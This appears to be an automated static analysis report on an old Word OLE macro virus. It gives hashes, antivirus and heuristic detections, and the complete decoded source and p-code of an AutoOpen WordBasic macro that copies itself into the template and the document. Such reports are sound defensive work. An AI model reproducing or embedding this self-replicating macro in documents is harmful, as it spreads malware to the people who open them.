Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c48df34936d847a3…

MALICIOUS

Office (OLE)

305.5 KB Created: 1998-07-19 15:46:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: eac7b19a244933a34d10e695e334c006 SHA-1: cca3223be228f2d6748812541c5b71546d52aaf7 SHA-256: c48df34936d847a37d965537f08dd2f9a20001886a6e6b55ad3eaa57d8d48831
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious OLE document containing a legacy WordBasic AutoOpen macro. This macro is designed to copy itself and save the document, a common technique for malware to ensure execution or persistence. The macro explicitly mentions 'WM/Smallv.A', suggesting a potential family name, but without further evidence, it is classified as unknown.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-23 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-23
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1630 bytes
SHA-256: 1204aae40f8ed1c27122babfea514f92f4c32ffebfa04122d5b00b1d213a72b8
Detection
ClamAV: Doc.Trojan.Minimal-23
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Note: I respect most AVs and the CARO naming standard, so I would appreciate it if you could respect me and name this virus WM/Smallv.A"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
Dim a$
Dim b$
On Error Resume Next
a$ = "AutoOpen"
b$ = WordBasic.[FileName$]() + ":" + a$
WordBasic.MacroCopy a$, b$
WordBasic.MacroCopy b$, a$
WordBasic.FileSaveAs Format:=1
End Sub

' Processing file: /opt/analyzer/scan_staging/ea586ba57e9e457b88553e2dc9ad24a2.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 2160 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn a
' Line #3:
' 	Dim 
' 	VarDefn B
' Line #4:
' 	OnError (Resume Next) 
' Line #5:
' 	LitStr 0x0008 "AutoOpen"
' 	St a$ 
' Line #6:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0001 ":"
' 	Add 
' 	Ld a$ 
' 	Add 
' 	St B$ 
' Line #7:
' 	Ld a$ 
' 	Ld B$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #8:
' 	Ld B$ 
' 	Ld a$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #9:
' 	LitDI2 0x0001 
' 	ParamNamed Format$ 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #10:
' 	EndSub

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